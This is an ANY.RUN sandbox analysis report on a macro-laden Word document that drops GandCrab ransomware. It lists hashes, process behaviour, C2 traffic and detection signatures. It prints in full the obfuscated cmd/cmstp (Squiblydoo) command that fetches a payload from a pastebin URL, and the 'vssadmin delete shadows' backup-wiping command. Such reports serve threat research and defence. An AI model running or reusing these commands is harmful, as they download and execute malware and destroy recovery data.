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File name:

dea5a36ac6421ea5a79b7494d25677c90d53af4c044961b9503dadeac8c33b65.doc

Full analysis: https://app.any.run/tasks/8f58fb31-648e-4cd6-9331-81ffbe147224
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 02:36:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Wed Mar 20 08:50:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

CB632679B15F09F0D3040F11AD722FCB

SHA1:

DFC5843393E9CCD19B0A91FF1CC70B907A8588A3

SHA256:

DEA5A36AC6421EA5A79B7494D25677C90D53AF4C044961B9503DADEAC8C33B65

SSDEEP:

3072:wrLgZP6P77AjBNJx4WDgDBiTBEIGMqFWrdZ2TXz+rOieOnCJpPUkg:wrLq+AnJ2Wsi9EI4EbGKOsCJh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 3328)

    • Application was dropped or rewritten from another process

      • 51276.exe (PID: 2736)

    • Writes file to Word startup folder

      • 51276.exe (PID: 2736)

    • Actions looks like stealing of personal data

      • 51276.exe (PID: 2736)

    • Renames files like Ransomware

      • 51276.exe (PID: 2736)

    • Dropped file may contain instructions of ransomware

      • 51276.exe (PID: 2736)

    • Deletes shadow copies

      • cmd.exe (PID: 2744)

    • Connects to CnC server

      • 51276.exe (PID: 2736)

    • Changes settings of System certificates

      • 51276.exe (PID: 2736)

    • GANDCRAB detected

      • 51276.exe (PID: 2736)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmd.exe (PID: 2740)
      • cmstp.exe (PID: 3328)
      • 51276.exe (PID: 2736)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 3328)

    • Creates files in the program directory

      • 51276.exe (PID: 2736)

    • Reads the cookies of Mozilla Firefox

      • 51276.exe (PID: 2736)

    • Starts CMD.EXE for commands execution

      • 51276.exe (PID: 2736)

    • Adds / modifies Windows certificates

      • 51276.exe (PID: 2736)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1052)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1052)

    • Dropped object may contain Bitcoin addresses

      • 51276.exe (PID: 2736)

    • Dropped object may contain TOR URL's

      • 51276.exe (PID: 2736)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 26
Paragraphs: 1
Lines: 1
Company:
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 23
Words: 4
Pages: 1
ModifyDate: 2019:03:20 08:50:00
CreateDate: 2019:02:28 14:52:00
TotalEditTime: 3.0 minutes
Software: Microsoft Office Word
RevisionNumber: 3
LastModifiedBy: Admin
Template: Normal
Comments: -
Keywords: -
Author: Admin
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 51276.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1052"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\dea5a36ac6421ea5a79b7494d25677c90d53af4c044961b9503dadeac8c33b65.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2740cmd /V /C set "u90=s" && !u90!et "u52=\" && !u90!et "u92=e" && !u90!et "u3=i" && !u90!et "u44=A" && !u90!et "u7=N" && !u90!et "u6=d" && c!u44!ll !u90!et "u62=%!u44!PP!u6!!u44!T!u44!%" && c!u44!ll !u90!et "u82=%R!u44!!u7!!u6!OM%" && !u90!et "u87=!u62!!u52!M!u3!cro!u90!oft!u52!T!u92!mplat!u92!s!u52!!u82!.txt" && !u90!et "u2="^" && (For %i in ("[v!u92!r!u90!ion]" "!u90!ignatur!u92!=$Wi!u7!dow!u90! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!u92!faultIn!u90!tall_Singl!u92!U!u90!er]" "UnR!u92!gi!u90!t!u92!rOCXs=u21" "[u21]" "%11%\%u0_1%%u0_2%%u0_3%,NI,%u_1%%u_2%%u_3%%u_4%%u_5%%u_6%%u_7%%u_8%%u_9%%u_10%%u_11%%u_12%%u_13%%u_14%%u_15%%u_16%" "[!u90!tring!u90!]" "u_1=ht" "u_2=tp" "u_3=:/" "u_4=/p" "u_5=as" "u_6=te" "u_7=bi" "u_8=n." "u_9=co" "u_10=m/" "u_11=ra" "u_12=w/" "u_13=Lw" "u_14=mR" "u_15=5A" "u_16=x3" "u0_2=rO" "u0_1=sC" "u0_3=bJ" ) do @echo %~i)>"!u87!" && echo !u90!erv!u3!ceNam!u92!=!u2! !u2!>>!u87! && echo !u90!hortSvcN!u44!me=!u2! !u2!>>!u87! && c!u44!ll !u90!et "u5=%WI!u7!!u6!IR%" && !u90!t!u44!rt "" !u5!!u52!Sy!u90!t!u92!m32!u52!cm!u90!tp.!u92!x!u92! /s /ns "!u87!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3328C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\24237.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2736"C:\Users\admin\AppData\Roaming\Microsoft\51276.exe" C:\Users\admin\AppData\Roaming\Microsoft\51276.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
2744"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
51276.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2004vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2500C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 584
Read events
1 182
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
420
Text files
323
Unknown types
19

Dropped files

PID
Process
Filename
Type
1052WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR890D.tmp.cvr —
MD5:—
SHA256:—
1052WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF29BDEF2F8DECB595.TMP —
MD5:—
SHA256:—
1052WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:EA9AC7D33C30A269823E306E1402CCFC
SHA256:CC45CD5682E5B2D5126F3913113D696AA1BF4760E3C70BAC80417A5CAF90802B
3328cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\LwmR5Ax3[1].txtxml
MD5:A67A869C17BD02675842A89550AEBD02
SHA256:5C412718AE298AB46BE95FC7E38F850E395E8CE8825A6CB8F3EDE0EEB11C5CA8
1052WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{63DD4F1A-E6FF-4E2C-B0FD-F1A75E4830AF}.tmpbinary
MD5:57620C71832E241D559AE4FA933E7D0E
SHA256:5D6F600696EEBEACFBB2E3C311B1A84B11E5F38CDCC9EEF4E9877682237172DC
1052WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5CE4B639.wmfwmf
MD5:9B958D431B80584579043950B6329CC2
SHA256:0C014D127F39FDEEDFA2229D89442011E65B0B09A38F748231D64FCE5E29224E
2740cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Templates\24237.txtini
MD5:48D4799BEC67B0E0B8123BFF7B3B69FF
SHA256:905B1E3336E2869E3E8F6BC798A53702173B70768B8763C6B9B7139A62D6A8A7
273651276.exeC:\PerfLogs\Admin\BXNCT-MANUAL.txttext
MD5:8F326DF13E04DC27321B2A39B0F8E7A4
SHA256:F198C949E056CFB3CB746A61A4540370AD1112AB29A0BC6E478CC528081C3DDC
273651276.exeC:\$Recycle.Bin\BXNCT-MANUAL.txttext
MD5:8F326DF13E04DC27321B2A39B0F8E7A4
SHA256:F198C949E056CFB3CB746A61A4540370AD1112AB29A0BC6E478CC528081C3DDC
3328cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\51276.exeexecutable
MD5:89CB3999F294109140A95BC5760B99C2
SHA256:EADA9FC0C896784B3A34FAF7C9FA0EAB1C276E298A59BFEE3C623B093FC85AFC
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3328
cmstp.exe
GET
200
104.20.208.21:80
http://pastebin.com/raw/LwmR5Ax3
US
xml
206 Kb
shared
2736
51276.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2736
51276.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
3328
cmstp.exe
104.20.208.21:80
pastebin.com
Cloudflare Inc
US
shared
2736
51276.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
3328
cmstp.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
3328
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2736
51276.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2736
51276.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2736
51276.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
dea5a36ac6421ea5a79b7494d25677c90d53af4c044961b9503dadeac8c33b65.doc